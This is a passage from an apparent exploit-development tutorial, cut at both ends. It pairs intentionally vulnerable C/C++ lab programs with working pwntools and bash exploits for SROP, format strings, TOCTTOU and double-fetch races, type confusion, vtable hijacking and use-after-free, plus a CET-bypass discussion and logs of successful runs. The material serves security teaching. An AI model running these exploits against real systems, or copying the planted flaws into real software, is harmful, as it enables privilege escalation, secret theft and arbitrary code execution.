syscall_ret = 0x401180 # CORRECT address
log.info(f"/bin/sh at: {hex(binsh_addr)}")
log.info(f"pop rax; ret: {hex(pop_rax_ret)}")
log.info(f"syscall; ret: {hex(syscall_ret)}")
# Build SROP frame
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
frame.rsp = buf_addr - 0x100
frame.rbp = frame.rsp
frame.eflags = 0x202
frame.csgsfs = 0x33
offset = 72
payload = b'A' * offset
payload += p64(pop_rax_ret)
payload += p64(15) # SYS_rt_sigreturn
payload += p64(syscall_ret)
payload += bytes(frame)
log.info(f"Payload size: {len(payload)} bytes")
p.sendlineafter(b"Enter data: ", payload)
sleep(0.5)
try:
p.sendline(b'echo SUCCESS')
result = p.recvline(timeout=2)
if b'SUCCESS' in result:
log.success("SROP WORKED! We have a shell!")
p.interactive()
else:
log.info(f"Got: {result}")
p.interactive()
except EOFError:
log.error("Process died")
log.info(f"Exit code: {p.poll()}")
except Exception as e:
log.error(f"Error: {e}")
p.close()
How It Works:
1. Overflow buffer, overwrite return address with pop_rax gadget
2. pop rax; ret → RAX = 15 (rt_sigreturn syscall number)
3. syscall; ret → Kernel executes sigreturn
4. Kernel reads our fake SigreturnFrame from stack
5. Kernel restores ALL registers from our frame:
- RAX = 59 (execve syscall number)
- RDI = address of "/bin/sh"
- RSI = 0, RDX = 0
- RIP = syscall gadget address
6. Execution resumes at RIP (syscall gadget) - bypassing libc!
Why This Bypasses CET (Partially):
CET (Control-flow Enforcement) has two components:
1. IBT (Indirect Branch Tracking) - Requires ENDBR64 landing pads
2. SHSTK (Shadow Stack) - Tracks return addresses
SROP behavior with CET:
+ sigreturn itself bypasses shadow stack (kernel operation)
+ execve syscall is direct kernel call, not libc
- Initial ROP chain to reach sigreturn still needs valid gadgets
Note: On systems without hardware shadow stack support (most current CPUs),
the binary may have SHSTK/IBT properties but kernel won't enforce them.
Check with: grep shstk /proc/cpuinfo
Troubleshooting:
| Problem | Cause | Solution |
|---|---|---|
| Crash before sigreturn | Wrong gadget addresses | Use objdump -d to verify gadget locations |
| Payload too large | Signal frame is 248 bytes | Ensure read() size ≥ 344 bytes (72+24+248) |
| SIGSEGV after sigreturn | Invalid RSP in frame | Set RSP to valid stack address (use buf_addr) |
| execve returns EFAULT | Bad /bin/sh address | Verify string address with readelf -x .data |
| No gadgets found | Binary too small | Add inline asm gadgets or use libc |
| Shell doesn't spawn | Wrong syscall number | AMD64 execve = 59, verify with SYS_execve |
| system() crashes (SIGSEGV) | Stack misalignment | Add ret gadget before call for 16-byte align |
| Process exits immediately | Shell has no stdin | Ensure stdin is connected to process |
| CET blocks ROP chain | Hardware shadow stack | Use ENDBR64 gadgets or disable CET for demo |
Task 1: Information Disclosure
Task 2: Arbitrary Read
Task 3: GOT Overwrite
Success Criteria:
Exploit a format string over a network:
#!/usr/bin/env python3
"""Format String over Network - Real-World Practice"""
from pwn import *
# Connect to vulnerable service
target = remote('localhost', 1337)
# Leak stack values
target.sendline(b'echo %p.%p.%p.%p.%p.%p.%p.%p')
leak = target.recvline()
log.info(f"Leaked: {leak}")
# Parse and calculate addresses
# Stack leak can reveal:
# - Return addresses (code base)
# - Libc addresses (libc base)
# - Stack addresses (stack cookie, if present)
# Build GOT overwrite payload
# (This would be specific to the target binary)
Why Logic Bugs Win:
TOCTTOU (Time-of-Check to Time-of-Use):
// Vulnerable pattern: Check and use are separate operations
// race_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
void process_file(const char *filename) {
struct stat st;
// TIME OF CHECK
if (lstat(filename, &st) != 0) { // Use lstat to check symlink itself
printf("File does not exist\n");
return;
}
// Check if regular file (not symlink)
if (S_ISLNK(st.st_mode)) {
printf("Symlinks not allowed\n");
return;
}
// Check ownership
if (st.st_uid != getuid()) {
printf("You don't own this file\n");
return;
}
// WINDOW OF VULNERABILITY: Attacker can swap file here!
sleep(1); // Makes race easier to win for demonstration
// TIME OF USE - opens with elevated privileges
setuid(0); // Elevate to root privileges
int fd = open(filename, O_RDONLY); // Opens whatever is there NOW
if (fd < 0) {
perror("open");
return;
}
char buffer[1024];
ssize_t n = read(fd, buffer, sizeof(buffer) - 1);
if (n > 0) {
buffer[n] = '\0';
printf("Contents: %s\n", buffer);
}
close(fd);
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("Usage: %s <filename>\n", argv[0]);
return 1;
}
process_file(argv[1]);
return 0;
}
Exploitation:
# Compile vulnerable program
cd ~/exploit
gcc -fno-stack-protector -no-pie -o race_vuln race_vuln.c
sudo chown root:root race_vuln
sudo chmod u+s race_vuln # SetUID for demonstration
# Setup: Create files for the race
echo "harmless content" > /tmp/myfile
sudo sh -c 'echo "SECRET: root password hash" > /tmp/secret'
sudo chown root:root /tmp/secret
sudo chmod 600 /tmp/secret # Only root can read
# Create race attack script
cat > race_attack_full.sh << 'EOF'
#!/bin/bash
TARGET="/tmp/racefile"
PAYLOAD="/tmp/secret" # Root-owned file we want to read
# Setup: Create our legitimate file
echo "harmless content" > /tmp/myfile
rm -f $TARGET
# Background: Continuously swap between our file and root-owned symlink
# Note: Symlinks must be created with sudo due to protected_symlinks in /tmp
(while true; do
sudo rm -f $TARGET 2>/dev/null
cp /tmp/myfile $TARGET 2>/dev/null
sudo rm -f $TARGET 2>/dev/null
sudo ln -s $PAYLOAD $TARGET 2>/dev/null
done) &
SWAP_PID=$!
# Give swap loop time to start
sleep 0.2
# Foreground: Repeatedly trigger vulnerable program
for i in {1..50}; do
./race_vuln $TARGET 2>/dev/null
done | grep "SECRET"
# Cleanup
sudo kill $SWAP_PID 2>/dev/null
wait $SWAP_PID 2>/dev/null
sudo rm -f $TARGET
EOF
chmod +x race_attack_full.sh
# Run the full attack
./race_attack_full.sh
# Expected output (when race is won):
# Contents: SECRET: root password hash
# Note: On systems with /proc/sys/fs/protected_symlinks=1 (default on modern Linux),
# symlinks in sticky directories like /tmp must be owned by root to be followed
# by setuid programs. This is a security feature to prevent symlink attacks.
Test Results:
(.venv) dev@os:~/exploit$ ./race_attack_full.sh
Contents: SECRET: root password hash
Contents: SECRET: root password hash
Contents: SECRET: root password hash
TOCTTOU Race Success:
Why This Works:
sleep(1) in vulnerable code creates race opportunityUser-Space Double-Fetch Simulation:
// double_fetch_demo.c
// Compilable double-fetch vulnerability demonstration
// Compile: gcc -pthread -o double_fetch_demo double_fetch_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>
#include <stdatomic.h>
#define MAX_SAFE_SIZE 64
#define BUFFER_SIZE 128
// Shared structure (simulating user-space memory that can be modified)
typedef struct {
volatile size_t length;
char data[256];
} SharedRequest;
SharedRequest shared_req;
atomic_int race_won = 0;
atomic_int attempts = 0;
// Vulnerable function with double-fetch
void vulnerable_process(SharedRequest *req) {
// FIRST FETCH: Read and validate length
size_t len = req->length; // First read
if (len > MAX_SAFE_SIZE) {
// Security check passes because len is small
return;
}
// Allocate based on checked length
char *safe_buffer = malloc(len + 1);
if (!safe_buffer) return;
// VULNERABILITY: Small delay simulating real processing
// In real code, this might be context switches, I/O, etc.
for (volatile int i = 0; i < 100; i++); // Tiny delay
// SECOND FETCH: Use length again (may have changed!)
size_t actual_len = req->length; // Second read - DOUBLE FETCH!
// Check if race was won BEFORE doing the overflow
if (actual_len > MAX_SAFE_SIZE) {
printf("[!] RACE WON! Allocated %zu bytes but would copy %zu bytes!\n",
len, actual_len);
printf("[!] Buffer overflow vulnerability demonstrated!\n");
atomic_store(&race_won, 1);
free(safe_buffer);
return;
}
// Copy using potentially modified length
if (actual_len <= 256) {
memcpy(safe_buffer, req->data, actual_len); // OVERFLOW if length increased!
}
free(safe_buffer);
}
// Attacker thread: continuously flips the length value
void *attacker_thread(void *arg) {
while (!atomic_load(&race_won) && atomic_load(&attempts) < 100000) {
// Flip between safe and dangerous values
shared_req.length = 32; // Safe value (passes check)
for (volatile int i = 0; i < 10; i++);
shared_req.length = 200; // Dangerous value (causes overflow)
for (volatile int i = 0; i < 10; i++);
}
return NULL;
}
// Victim thread: calls vulnerable function
void *victim_thread(void *arg) {
while (!atomic_load(&race_won) && atomic_load(&attempts) < 100000) {
shared_req.length = 32; // Reset to safe
vulnerable_process(&shared_req);
atomic_fetch_add(&attempts, 1);
}
return NULL;
}
int main() {
printf("=== Double-Fetch Race Condition Demo ===\n");
printf("Attempting to win race between check and use...\n\n");
// Initialize shared data
memset(shared_req.data, 'A', sizeof(shared_req.data));
shared_req.length = 32;
pthread_t attacker, victim;
// Start racing threads
pthread_create(&attacker, NULL, attacker_thread, NULL);
pthread_create(&victim, NULL, victim_thread, NULL);
// Wait for completion
pthread_join(victim, NULL);
pthread_join(attacker, NULL);
printf("\nTotal attempts: %d\n", atomic_load(&attempts));
if (atomic_load(&race_won)) {
printf("[+] SUCCESS: Double-fetch vulnerability exploited!\n");
printf("[*] The vulnerability: length was checked as %d bytes, but would have\n", MAX_SAFE_SIZE);
printf(" copied more, causing heap overflow.\n");
printf("[*] In real exploits: this could overwrite heap metadata,\n");
printf(" adjacent objects, or function pointers for code execution.\n");
} else {
printf("[-] Race not won in %d attempts (try again or increase attempts)\n",
atomic_load(&attempts));
}
return 0;
}
Compile and Run:
# Compile with pthread support
gcc -pthread -o double_fetch_demo double_fetch_demo.c
# Run (may need multiple attempts)
./double_fetch_demo
Test Results:
=== Double-Fetch Race Condition Demo ===
Attempting to win race between check and use...
[!] RACE WON! Allocated 32 bytes but would copy 200 bytes!
[!] Buffer overflow vulnerability demonstrated!
Total attempts: 863
[+] SUCCESS: Double-fetch vulnerability exploited!
[*] The vulnerability: length was checked as 64 bytes, but would have
copied more, causing heap overflow.
[*] In real exploits: this could overwrite heap metadata,
adjacent objects, or function pointers for code execution.
Double-Fetch Race Success:
Why This Works:
Complete TOCTTOU Practical Exercise:
Here's a self-contained TOCTTOU lab with attack automation:
// tocttou_lab.c - Complete TOCTTOU demonstration
// Simulates a privileged file processor with TOCTTOU vulnerability
// Compile: gcc -o tocttou_lab tocttou_lab.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/limits.h>
#define ALLOWED_DIR "/tmp/tocttou_safe/"
#define MAX_FILE_SIZE 1024
int secure_read_file(const char *filepath) {
struct stat st;
char resolved_path[PATH_MAX];
printf("[*] Processing request for: %s\n", filepath);
// === TIME OF CHECK ===
// 1. Resolve to absolute path
if (realpath(filepath, resolved_path) == NULL) {
printf("[-] Cannot resolve path: %s\n", strerror(errno));
return -1;
}
printf("[*] Resolved to: %s\n", resolved_path);
// 2. Security check: must be in allowed directory
if (strncmp(resolved_path, ALLOWED_DIR, strlen(ALLOWED_DIR)) != 0) {
printf("[-] SECURITY: Path outside allowed directory!\n");
return -1;
}
printf("[+] Path check passed (in allowed directory)\n");
// 3. Check file properties
if (lstat(filepath, &st) != 0) {
printf("[-] Cannot stat file: %s\n", strerror(errno));
return -1;
}
// 4. Must be regular file (not symlink)
if (S_ISLNK(st.st_mode)) {
printf("[-] SECURITY: Symlinks not allowed!\n");
return -1;
}
printf("[+] File type check passed (regular file)\n");
// 5. Size check
if (st.st_size > MAX_FILE_SIZE) {
printf("[-] File too large\n");
return -1;
}
printf("[+] Size check passed (%ld bytes)\n", st.st_size);
// === VULNERABILITY WINDOW ===
printf("[*] Processing... (vulnerable window)\n");
usleep(100000); // 100ms delay
// === TIME OF USE ===
int fd = open(filepath, O_RDONLY);
if (fd < 0) {
printf("[-] Cannot open file: %s\n", strerror(errno));
return -1;
}
char buffer[MAX_FILE_SIZE + 1];
ssize_t bytes_read = read(fd, buffer, MAX_FILE_SIZE);
close(fd);
if (bytes_read > 0) {
buffer[bytes_read] = '\0';
printf("\n=== FILE CONTENTS ===\n%s\n=== END ===\n\n", buffer);
return 0;
}
return -1;
}
void setup_lab() {
mkdir(ALLOWED_DIR, 0755);
char safe_file[256];
snprintf(safe_file, sizeof(safe_file), "%s/safe_file.txt", ALLOWED_DIR);
FILE *f = fopen(safe_file, "w");
if (f) {
fprintf(f, "This is safe, authorized content.\n");
fclose(f);
printf("[+] Created safe file: %s\n", safe_file);
}
}
void print_usage(const char *prog) {
printf("TOCTTOU Vulnerability Lab\n");
printf("=========================\n\n");
printf("Usage: %s <filepath>\n\n", prog);
printf("This simulates a privileged file reader with TOCTTOU vulnerability.\n\n");
printf("To exploit:\n");
printf("1. Create a regular file: echo 'safe' > %s/attack\n", ALLOWED_DIR);
printf("2. Run: %s %s/attack &\n", prog, ALLOWED_DIR);
printf("3. Quickly swap: rm %s/attack && ln -s /etc/passwd %s/attack\n\n", ALLOWED_DIR, ALLOWED_DIR);
printf("The race: swap the file between check and use!\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
print_usage(argv[0]);
setup_lab();
return 1;
}
return secure_read_file(argv[1]);
}
TOCTTOU Exploitation Script:
#!/bin/bash
# tocttou_exploit.sh - Automated TOCTTOU race exploitation
TARGET_DIR="/tmp/tocttou_safe"
ATTACK_FILE="$TARGET_DIR/attack"
PAYLOAD="/etc/passwd"
BINARY="./tocttou_lab"
echo "=== TOCTTOU Race Condition Exploit ==="
echo "Target: $PAYLOAD"
echo ""
# Setup
mkdir -p $TARGET_DIR
echo "harmless content" > "$TARGET_DIR/legit.txt"
# Statistics
ATTEMPTS=0
SUCCESS=0
# Race function
race_attack() {
while true; do
# Create legitimate file (passes all checks)
echo "safe" > "$ATTACK_FILE" 2>/dev/null
# Launch victim in background
$BINARY "$ATTACK_FILE" > /tmp/tocttou_output.txt 2>&1 &
VICTIM_PID=$!
# Small delay to let checks start
sleep 0.05
# Swap to symlink during the usleep(100000) window
rm -f "$ATTACK_FILE" 2>/dev/null
ln -s "$PAYLOAD" "$ATTACK_FILE" 2>/dev/null
# Wait for victim
wait $VICTIM_PID 2>/dev/null
# Check if we won the race
if grep -q "root:" /tmp/tocttou_output.txt 2>/dev/null; then
echo ""
echo "[!] RACE WON after $ATTEMPTS attempts!"
echo ""
cat /tmp/tocttou_output.txt
SUCCESS=1
break
fi
ATTEMPTS=$((ATTEMPTS + 1))
# Progress indicator
if [ $((ATTEMPTS % 10)) -eq 0 ]; then
echo -n "."
fi
# Limit attempts
if [ $ATTEMPTS -ge 100 ]; then
echo ""
echo "[-] Race not won after $ATTEMPTS attempts"
echo " The 100ms window should be easy to hit. Check timing."
break
fi
done
}
# Cleanup
cleanup() {
rm -f "$ATTACK_FILE" /tmp/tocttou_output.txt
}
trap cleanup EXIT
# Run exploit
echo "Racing... (this may take a moment)"
race_attack
if [ $SUCCESS -eq 1 ]; then
echo "[+] Successfully exploited TOCTTOU vulnerability!"
echo "[*] Key insight: Checks passed for 'safe' file, but we read '$PAYLOAD'"
fi
Running the TOCTTOU Lab:
# 1. Compile the vulnerable program
gcc -o tocttou_lab tocttou_lab.c
# 2. Setup (creates /tmp/tocttou_safe directory)
./tocttou_lab
# 3. Test legitimate access
./tocttou_lab /tmp/tocttou_safe/safe_file.txt
# Should show "This is safe, authorized content."
# 4. Run the exploit
chmod +x tocttou_exploit.sh
./tocttou_exploit.sh
# If race won, displays /etc/passwd contents despite security checks!
Test Results:
=== TOCTTOU Race Condition Exploit ===
Target: /etc/passwd
Racing... (this may take a moment)
[!] RACE WON after 0 attempts!
[*] Processing request for: /tmp/tocttou_safe/attack
[*] Resolved to: /tmp/tocttou_safe/attack
[+] Path check passed (in allowed directory)
[+] File type check passed (regular file)
[+] Size check passed (5 bytes)
[*] Processing... (vulnerable window)
=== FILE CONTENTS ===
root:x:0:0:root:/root:/bin/bash
...
dhcpcd:x:100:65534:DHCP Client Daemo
=== END ===
[+] Successfully exploited TOCTTOU vulnerability!
[*] Key insight: Checks passed for 'safe' file, but we read '/etc/passwd'
TOCTTOU Lab Success:
/etc/passwd instead/tmp/tocttou_safe/attack (safe location)/etc/passwd
Why This Works:
What is Type Confusion?:
Type confusion occurs when code treats an object as a different type than it actually is. Unlike memory corruption, the memory itself is valid—the interpretation is wrong.
// Type confusion basic example
// type_confusion.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Base "class"
typedef struct {
int type;
void (*handler)(void*);
} BaseObject;
// Derived "classes"
typedef struct {
int type; // type = 1
void (*handler)(void*);
char name[32];
} UserObject;
typedef struct {
int type; // type = 2
void (*handler)(void*);
void (*privileged_action)(void); // At same offset as name[0..7]!
int admin_level;
} AdminObject;
void user_handler(void *self) {
UserObject *obj = (UserObject*)self;
printf("Hello, %s!\n", obj->name);
}
void admin_handler(void *self) {
AdminObject *obj = (AdminObject*)self;
printf("Admin action executing...\n");
if (obj->privileged_action) {
printf("Calling privileged function at %p\n", obj->privileged_action);
obj->privileged_action(); // Call function pointer
} else {
printf("No privileged action set\n");
}
}
void win(void) {
printf("\n[!] PWNED! Got code execution via type confusion!\n");
printf("[*] This demonstrates how type confusion can lead to arbitrary code execution\n");
// system("/bin/sh"); // Uncomment for shell
}
BaseObject* create_object(int type) {
if (type == 1) {
UserObject *obj = calloc(1, sizeof(UserObject));
obj->type = 1;
obj->handler = user_handler;
printf("Enter username: ");
fgets(obj->name, sizeof(obj->name), stdin);
obj->name[strcspn(obj->name, "\n")] = 0;
return (BaseObject*)obj;
} else {
// Admin creation (normally restricted)
AdminObject *obj = calloc(1, sizeof(AdminObject));
obj->type = 2;
obj->handler = admin_handler;
obj->privileged_action = NULL;
obj->admin_level = 0;
return (BaseObject*)obj;
}
}
void process_object(BaseObject *obj) {
// VULNERABILITY: Type field can be manipulated!
// If attacker creates UserObject but sets type=2,
// the handler will treat name[] as privileged_action pointer
if (obj->type == 2) {
// Treats object as AdminObject
admin_handler(obj);
} else {
user_handler(obj);
}
}
int main() {
printf("=== Type Confusion Demo ===\n");
printf("Address of win(): %p\n\n", (void*)win);
// Create user object
BaseObject *obj = create_object(1);
printf("\n[*] Object layout:\n");
printf(" type: %d\n", obj->type);
printf(" handler: %p\n", (void*)obj->handler);
printf(" name/privileged_action: %p\n",
(void*)*(unsigned long*)((char*)obj + sizeof(int) + sizeof(void*)));
// EXPLOIT: Corrupt the type field
printf("\n[*] Corrupting type field from 1 to 2...\n");
obj->type = 2; // Now treated as AdminObject!
// The "name" field is now interpreted as "privileged_action" pointer
// If name contains address of win(), we get code execution!
printf("[*] Processing object with corrupted type...\n\n");
process_object(obj);
free(obj);
return 0;
}
Exploitation:
# Compile without PIE for simpler exploitation
gcc -no-pie -fno-stack-protector -o type_confusion type_confusion.c
#!/usr/bin/env python3
# type_confusion_exploit.py
from pwn import *
context.arch = 'amd64'
elf = ELF('./type_confusion')
win_addr = elf.symbols['win']
log.info(f"win() at: {hex(win_addr)}")
p = process('./type_confusion')
# Read initial output
p.recv(timeout=0.5)
# Send the win address as username
payload = p64(win_addr)
p.sendline(payload)
# Get all remaining output
output = p.recvall(timeout=1)
print(output.decode())
p.close()
Expected Output:
[*] '/home/dev/exploit/type_confusion'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] win() at: 0x401281
[+] Starting local process './type_confusion': pid 1281539
[+] Receiving all data: Done (398B)
[*] Process './type_confusion' stopped with exit code 0 (pid 1281539)
Enter username:
[*] Object layout:
type: 1
handler: 0x4011d6
name/privileged_action: 0x40128100000000
[*] Corrupting type field from 1 to 2...
[*] Processing object with corrupted type...
Admin action executing...
Calling privileged function at 0x401281
[!] PWNED! Got code execution via type confusion!
[*] This demonstrates how type confusion can lead to arbitrary code execution
In C++, dynamic polymorphism is implemented using Virtual Method Tables (vtables). This is the most common target in modern browser and game exploitation.
Memory Layout:
An object with virtual functions contains a hidden pointer (vptr) at the very beginning (offset 0) pointing to a table of function pointers (vtable).
Object in Heap: Fake Object (Attacker):
┌────────────────────┐ ┌────────────────────┐
│ vptr (8 bytes) │ ───► │ vptr = &FakeVtable │ ──┐
├────────────────────┤ ├────────────────────┤ │
│ member_var_1 │ │ ... │ │
├────────────────────┤ └────────────────────┘ │
│ ... │ │
└────────────────────┘ │
▼
Fake Vtable (Controlled Memory):
┌────────────────────┐
│ function_ptr_1 │ ───► shellcode / ROP
├────────────────────┤
│ function_ptr_2 │
└────────────────────┘
The Vulnerability:
If you can overwrite the vptr (via UAF or Overflow), you can point it to a fake vtable you created in memory. When the program calls object->virtualFunction(), it fetches the pointer from your fake table and executes it.
Vulnerable Example:
// vtable_vuln.cpp
// compile with g++ -no-pie -fno-stack-protector -o vtable_vuln vtable_vuln.cpp
#include <cstdio>
#include <cstdlib>
#include <cstring>
class Animal {
public:
char name[32];
virtual void speak() {
printf("Animal: %s makes a sound\n", name);
}
virtual void action() {
printf("Animal: %s does something\n", name);
}
virtual ~Animal() {}
};
class Dog : public Animal {
public:
void speak() override {
printf("Dog: %s says WOOF!\n", name);
}
};
class Cat : public Animal {
public:
void speak() override {
printf("Cat: %s says MEOW!\n", name);
}
};
// Target function we want to call
void win() {
printf("\n[!] VTABLE EXPLOITED! Got code execution.\n");
printf("[*] This demonstrates vtable hijacking via UAF\n");
// system("/bin/sh"); // Uncomment for shell
}
Animal* animals[10];
int animal_count = 0;
void create_animal(const char* type, const char* name) {
if (animal_count >= 10) return;
Animal* a;
if (strcmp(type, "dog") == 0) {
a = new Dog();
} else {
a = new Cat();
}
strncpy(a->name, name, 31);
a->name[31] = '\0';
animals[animal_count++] = a;
printf("Created %s '%s' at %p\n", type, name, (void*)a);
printf(" vptr at %p points to %p\n", (void*)a, *(void**)a);
}
void delete_animal(int idx) {
if (idx < 0 || idx >= animal_count) return;
printf("Deleting animal %d at %p\n", idx, (void*)animals[idx]);
delete animals[idx];
// BUG: Pointer not nullified! UAF possible
}
void pet_animal(int idx) {
if (idx < 0 || idx >= animal_count) return;
printf("Calling speak() on animal %d at %p\n", idx, (void*)animals[idx]);
printf(" vptr: %p\n", *(void**)animals[idx]);
// This calls the virtual function via vptr
animals[idx]->speak(); // UAF: if freed, uses stale vptr
}
// Simulates attacker-controlled allocation
void* create_fake_object() {
size_t size = sizeof(Dog);
void* obj = malloc(size);
printf("\nAllocated fake object at %p (size %zu)\n", obj, size);
printf("Enter fake object data (hex bytes, e.g., 414141...):\n");
char hex_input[256];
if (fgets(hex_input, sizeof(hex_input), stdin)) {
// Simple hex parser
size_t len = strlen(hex_input);
size_t byte_idx = 0;
for (size_t i = 0; i < len - 1 && byte_idx < size; i += 2) {
unsigned int byte;
if (sscanf(&hex_input[i], "%2x", &byte) == 1) {
((unsigned char*)obj)[byte_idx++] = (unsigned char)byte;
}
}
printf("Wrote %zu bytes to fake object\n", byte_idx);
}
return obj;
}
int main() {
printf("=== Vtable UAF Demo ===\n");
printf("win() at: %p\n", (void*)win);
printf("sizeof(Dog/Cat): %zu\n", sizeof(Dog));
printf("Object layout: [vptr:8][name:32] = 40 bytes\n\n");
// 1. Create animal object
create_animal("dog", "Rex");
// 2. Delete (free) but pointer remains
delete_animal(0);
// 3. Allocate same-sized buffer under attacker control
printf("\n[*] Freed object memory can be reallocated...\n");
printf("[*] If we allocate same size, we get the same memory\n");
printf("[*] We can craft a fake vtable to hijack control flow\n\n");
create_fake_object();
// 4. Trigger UAF - program dereferences stale vptr
printf("\n[*] Triggering UAF by calling virtual function...\n");
pet_animal(0); // Uses attacker-controlled vptr
return 0;
}
Exploitation Strategy:
#!/usr/bin/env python3
# vtable_exploit.py
from pwn import *
context.arch = 'amd64'
elf = ELF('./vtable_vuln')
# Find win function (may be mangled)
win_addr = None
for sym in elf.symbols:
if 'win' in sym:
win_addr = elf.symbols[sym]
break
if not win_addr:
log.error("Could not find win() function")
exit(1)
log.info(f"win() at {hex(win_addr)}")
p = process('./vtable_vuln')
# Read initial output
p.recvuntil(b"sizeof(Dog/Cat): ")
obj_size = int(p.recvline().strip())
log.info(f"Object size: {obj_size}")
# Wait for object creation and deletion
p.recvuntil(b"Enter fake object data")
# Craft fake object:
# Object layout: [vptr:8][name:32]
#
# We need to create a fake vtable in memory
# Strategy: Place fake vtable right after vptr in our object
#
# Fake object layout:
# [0:8] fake_vptr -> points to offset 16 (where fake vtable starts)
# [8:16] padding
# [16:24] fake_vtable[0] = win() address (speak function)
# [24:32] fake_vtable[1] = win() address (action function)
# [32:40] fake_vtable[2] = win() address (destructor)
# Calculate fake vptr value
# We don't know heap address, but we can use a trick:
# The vptr will be at the start of our allocated object
# If we can leak or guess the address, we point vptr to our fake vtable
# For this demo, we'll use a simpler approach:
# Fill the entire object with win() address
# This way, no matter what offset is used, it points to win()
fake_obj = p64(win_addr) * (obj_size // 8)
# Convert to hex string
hex_payload = fake_obj.hex()
log.info(f"Sending payload: {hex_payload[:32]}...")
p.sendline(hex_payload.encode())
# Trigger the UAF
try:
output = p.recvall(timeout=2)
print(output.decode())
except:
pass
p.close()
Vtable Smashing Success:
win() functionWhy This Works:
win() function addressspeak() virtual call jumps to attacker-controlled functionKey Technical Details:
win() at 0x401256 used as fake virtual functionAdvanced Technique: Heap Spray for Fake Vtable:
// When you don't know exact addresses, spray the heap
// with fake vtables containing your target address
void heap_spray_vtable(void* target_func, size_t spray_count) {
// Create many copies of fake vtable
for (size_t i = 0; i < spray_count; i++) {
void** fake_vtable = (void**)malloc(64);
// Fill all entries with target function
for (int j = 0; j < 8; j++) {
fake_vtable[j] = target_func;
}
}
// Now predictable addresses contain our fake vtable
// Common spray target: 0x0c0c0c0c or similar
}
Why Vtable Attacks Matter:
| Aspect | Function Pointer | Vtable |
|---|---|---|
| Location | Explicit in struct | Hidden at object start |
| Detection | Easier to spot in code review | Implicit, harder to audit |
| Prevalence | C code, callbacks | All C++ polymorphic classes |
| Real-world targets | Legacy C apps | Browsers, games, office apps |
Mitigation: VTable Integrity checks (CFI, VTV)
Bypassing VTable Protections:
Some UAF fundamentals:
// Simple UAF demonstrating the primitive
// uaf_basic.c
// compile with gcc -no-pie -fno-stack-protector -o uaf_basic uaf_basic.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char name[32];
void (*print)(void*);
} Note;
void print_note(void *self) {
Note *n = (Note*)self;
printf("Note: %s\n", n->name);
}
void win(void *unused) {
printf("\n[!] UAF EXPLOITED! Got code execution.\n");
printf("[*] This demonstrates Use-After-Free leading to function pointer hijack\n");
// system("/bin/sh"); // Uncomment for shell
}
Note *notes[10];
int note_count = 0;
void create_note() {
if (note_count >= 10) return;
Note *n = malloc(sizeof(Note));
n->print = print_note;
printf("Enter note: ");
fgets(n->name, sizeof(n->name), stdin);
n->name[strcspn(n->name, "\n")] = 0;
notes[note_count++] = n;
printf("Created note %d at %p\n", note_count-1, (void*)n);
printf(" name at %p\n", (void*)n->name);
printf(" print at %p -> %p\n", (void*)&n->print, (void*)n->print);
}
void delete_note(int idx) {
if (idx < 0 || idx >= note_count) return;
printf("Freeing note %d at %p\n", idx, (void*)notes[idx]);
free(notes[idx]);
// BUG: Pointer not cleared! (Dangling pointer)
}
void view_note(int idx) {
if (idx < 0 || idx >= note_count) return;
printf("Calling print function on note %d at %p\n", idx, (void*)notes[idx]);
printf(" print pointer: %p\n", (void*)notes[idx]->print);
// UAF: May use freed memory!
notes[idx]->print(notes[idx]);
}
// Attacker-controlled allocation of same size
void edit_profile() {
char *profile = malloc(sizeof(Note)); // Same size as Note!
printf("Enter profile data (will overwrite freed Note): ");
size_t len = fread(profile, 1, sizeof(Note), stdin);
printf("Profile saved at %p (%zu bytes)\n", (void*)profile, len);
// Show what we wrote
printf(" First 8 bytes (name): ");
for (int i = 0; i < 8; i++) {
printf("%02x ", (unsigned char)profile[i]);
}
printf("\n Bytes 32-40 (print ptr): ");
for (int i = 32; i < 40; i++) {
printf("%02x ", (unsigned char)profile[i]);
}
printf("\n");
}
int main() {
printf("=== UAF Demo ===\n");
printf("win() at %p\n", (void*)win);
printf("sizeof(Note): %zu bytes\n", sizeof(Note));
printf("Layout: [name:32][print:8] = 40 bytes\n\n");
// 1. Create note (allocates Note struct)
create_note();
// 2. Delete note (frees, but pointer remains)
printf("\n[*] Deleting note (creates dangling pointer)...\n");
delete_note(0);
// 3. Allocate controlled data of same size
printf("\n[*] Allocating profile (will reuse freed Note memory)...\n");
printf("[*] We can overwrite the function pointer at offset 32\n");
edit_profile();
// 4. Use dangling pointer - calls our controlled function pointer!
printf("\n[*] Triggering UAF by calling print on freed note...\n");
view_note(0);
return 0;
}
Exploitation Strategy:
#!/usr/bin/env python3
# uaf_exploit.py
from pwn import *
context.arch = 'amd64'
elf = ELF('./uaf_basic')
win = elf.symbols['win']
log.info(f"win() at {hex(win)}")
p = process('./uaf_basic')
# Wait a bit for program to start
sleep(0.2)
# 1. Send note content
p.sendline(b"AAAA")
# Wait for profile prompt
sleep(0.2)
# 2. Send profile data that overwrites the freed Note
# Structure: [name: 32 bytes][print: 8 bytes]
payload = b"B" * 32 # name padding
payload += p64(win) # overwrite print function pointer
log.info(f"Sending {len(payload)} byte payload")
p.send(payload)
# Get all output
sleep(0.5)
try:
output = p.recvall(timeout=1)
print(output.decode())
except:
pass
p.close()
Test Results:
...
[*] Process './uaf_basic' stopped with exit code 0 (pid 6937)
=== UAF Demo ===
win() at 0x40124c
sizeof(Note): 40 bytes
Layout: [name:32][print:8] = 40 bytes
Enter note: Created note 0 at 0x1a1f56b0
name at 0x1a1f56b0
print at 0x1a1f56d0 -> 0x401216
[*] Deleting note (creates dangling pointer)...
Freeing note 0 at 0x1a1f56b0
[*] Allocating profile (will reuse freed Note memory)...
[*] We can overwrite the function pointer at offset 32
